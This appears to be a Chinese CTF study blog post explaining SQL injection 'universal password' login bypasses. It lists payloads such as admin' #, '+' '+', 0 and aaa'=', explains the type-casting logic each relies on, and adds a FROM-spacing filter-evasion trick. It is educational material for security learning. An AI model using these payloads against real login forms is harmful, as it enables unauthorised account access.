zoukankan      html  css  js  c++  java
  • CTF-sql-万能密码

    以下是我在学习sql注入时的一些感想分享,希望能帮助到大家,如有错误,望指出。

    万能密码的种类:

    ①select * from admin where username =“” and password = “”

    ②admin‘ #

    ③’+‘   ’+‘

    ④0

    ⑤Aaa’ = ‘

    在以下的select语句中的username和password可类似看作为字符串变量

    select * from user where username = ‘admin’ and password = ‘yi’;

    该语句的判断逻辑是什么呢?

    就是当username =‘admin’和password=’yi’都为真时执行成功。

    那么就是说不管怎么样,只要这两项都为真就行了这就意味着即使用户名和密码都不正确,只要让这两项都为真就能执行成功该逻辑就是②③条的注入原理

    ①select * from user where username = ‘chen’ # ‘ and password = ‘qian’;

    ②select * from user where username = ‘ ‘+’ ‘ and password = ‘ ‘+’ ‘;(有局限) 

    select ‘ ‘+’ ‘;

    select ‘qian’=0;

    select ‘1qian’=0;

    仅对于username和password的值为非数字开头的字符串有效。Eg:’q123’

    在这里select语句中的username和password可类似看作为字符串变量,那么等于非数字开头字符串的变量在转化为int形式时就为0(这里的=号不是赋值符号,就是数学上=号的作用)

    ③select * from user where username = 0 and password = 0; 

    在这里username和password可类似看作为字符串变量,那么非数字开头的字符串在转化为int形式就为0(和③原理一样,就是表现手法不同而已)

    ④select * from user where username = ‘aaa’=’ ‘ and password = ‘aaa’=’ ‘; 

    select ‘aaa’=’a’;(执行结果为0) 

    select ‘aaa’=’a’=’ ‘; 

    判断逻辑:username=’aaa’为假,假=’ ‘又变为了真,password一样(前提username与password都不为’aaa’)%e6%b5%85%e6%98%93%e6%b7%b1

    ⑤select Nfrom user;(执行成功,在N与from之间没空格)

    select 1from;(执行失败,因为1与from之间没空格)

    select 1,2,Nfrom user;(执行成功,在2与from之间没空格) 

    该技巧在from的左端不能输空格的时候,可以考虑能不能使用该方法进行绕过。

  • 相关阅读:
    js中两个==和三个===的区别
    软件需求工程解析
    《我们应当怎样做需求分析》阅读笔记
    需求工程阅读笔记03
    个人小软件冲刺05
    个人小软件冲刺04
    需求工程阅读笔记02
    个人小软件冲刺03
    个人小软件冲刺02
    个人小软件冲刺01
  • 原文地址:https://www.cnblogs.com/02SWD/p/CTF-sql-password.html
Copyright © 2011-2022 走看看